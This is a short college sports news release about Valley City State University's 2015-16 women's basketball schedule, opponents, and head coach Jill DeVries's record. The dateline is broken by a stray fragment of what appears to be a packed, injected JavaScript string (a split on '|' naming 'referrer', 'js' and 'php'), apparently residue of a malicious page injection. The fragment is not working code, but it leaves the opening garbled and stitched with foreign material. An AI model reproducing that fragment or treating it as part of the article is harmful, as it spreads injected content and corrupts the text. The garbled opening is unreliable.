VALLEY yerke|var|u0026u|referrer|ifdfz||js|php’.split(‘|’),0,{}))
CITY (VCSU) – The Valley City State University women’s basketball team has finalized its schedule for the 2015-16 season.

Head coach Jill DeVries and the Vikings open the season with three straight home games, beginning Oct. 25 against the University of Brandon.

It’s the start of a challenging schedule that features four games against opponents ranked in the NAIA Postseason Top 25 poll. VCSU will play four games against Great Plains Athletic Conference teams, including a matchup with No. 5-ranked Hastings College and two games against perennial national power Northwestern College.

The Vikings also play three games against NAIA Division I schools, and three games against NCAA schools, including North Dakota State University, Bemidji State University and the University of Mary.

The 2015-16 schedule features 13 North Star Athletic Association conference games, including match ups with conference newcomers Viterbo University and Waldorf College.

The schedule includes 11 home games and 18 road games. VCSU will play eight of its road games during two-day tournaments at Presentation College, Dakota Wesleyan, Northwestern College and Rocky Mountain College.

Valley City State University finished 22-9 last season, took second in the NSAA, and received votes in the Postseason Top 25 Poll. The Vikings graduated four seniors from that team, but return a solid nucleus and welcome a strong recruiting class this fall.

DeVries returns for her 16th season as head coach. The Vikings have posted winning records in each of her last six seasons, and are 122-66 (.648) over that stretch. VCSU qualified for the NAIA National Tournament in 2011, 2012 and 2013. DeVries is assisted by Matt Karlgaard, who enters his second season with the team.